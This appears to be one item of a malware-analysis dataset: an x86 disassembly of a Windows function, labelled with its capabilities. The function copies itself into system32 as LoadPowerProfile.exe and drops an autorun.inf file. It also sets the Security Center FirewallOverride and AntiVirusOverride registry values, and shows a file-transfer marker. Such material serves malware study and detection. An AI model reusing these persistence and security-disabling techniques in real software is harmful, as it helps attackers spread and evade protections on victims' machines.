Function at 0x4010f0
Capabilities:
Copy file
Create process on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x124
mov eax, dword [0x427a94]
xor eax, esp
mov dword [esp + 0x120], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0xc8
lea eax, [esp + 0x64]
push eax
push 0
mov dword [esp + 0x24], esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, byte [esp + 0x60]
cmp al, 0x63
je 0x401226
cmp al, 0x43
je 0x401226
push 1
push str.explorer_..
call dword [sym.imp.KERNEL32.dll_WinExec]
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
push str.C:WINDOWS_system32LoadPowerProfile.exe
push str.LoadPowerProfile.exe
call edi
test eax, eax
jne 0x40116d
push eax
call fcn.0040d400
push 1
push str.C:WINDOWS_system32_autorun.inf
push str.autorun.inf
call edi
call fcn.004016c0
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push closesocket
mov dword [esp + 0x34], 1
call edi
mov eax, dword [esp + 0xc]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [esp + 0x14]
push edx
push 4
push 0
push str.FirewallOverride
push eax
call ebx
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push closesocket
mov dword [esp + 0x34], 1
call edi
mov ecx, dword [esp + 0xc]
push 4
lea eax, [esp + 0x14]
push eax
push 4
xor edi, edi
push edi
push str.AntiVirusOverride
push ecx
call ebx
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40134b
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea eax, [esp + 0x10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push closesocket
mov dword [esp + 0x34], 1
call edi
mov edx, dword [esp + 0xc]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [esp + 0x14]
push ecx
push 4
push 0
push str.FirewallOverride
push edx
call ebx
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push closesocket
mov dword [esp + 0x34], 1
call edi
mov eax, dword [esp + 0xc]
push 4
lea edx, [esp + 0x14]
push edx
push 4
push 0
push str.AntiVirusOverride
push eax
call ebx
mov ecx, dword [esp + 0xc]
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call esi
call fcn.00401e80
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x4233ea
call fcn.00401f70
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x4233ea
call fcn.00401f70
call fcn.00401b10
add esp, 8
cmp eax, 1
jne 0x401311
push 0x42b6e8
push 0x423404
call fcn.00401730
add esp, 8
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x4233ea
call fcn.00401f70
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push str.File_Trans_End
call fcn.00401f70
call fcn.00401b10
mov esi, dword [esp + 0x20]
add esp, 8
mov dword [0x42b700], 0
xor edi, edi
push edi
mov dword [0x42b6ec], esi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0x7f00
push edi
mov dword [esp + 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x65
push esi
mov dword [esp + 0x3c], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x30], esi
mov dword [esp + 0x24], 0x401440
mov dword [esp + 0x44], str.LoadPowerProfile
mov dword [esp + 0x40], edi
mov dword [esp + 0x20], 3
call dword [sym.imp.USER32.dll_RegisterClassA]
push edi
push esi
push edi
push edi
push closesocket
push closesocket
push closesocket
push closesocket
push 0xcf0000
push str.LoadPowerProfile
push str.LoadPowerProfile
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
push edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push edi
push edi
push edi
lea ecx, [esp + 0x50]
push ecx
call esi
test eax, eax
je 0x401421
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea edx, [esp + 0x44]
push edx
call ebx
lea eax, [esp + 0x44]
push eax
call edi
push 0
push 0
push 0
lea ecx, [esp + 0x50]
push ecx
call esi
test eax, eax
jne 0x401402
mov ecx, dword [esp + 0x12c]
mov eax, dword [esp + 0x4c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040c4e6
mov esp, ebp
pop ebp
ret 0x10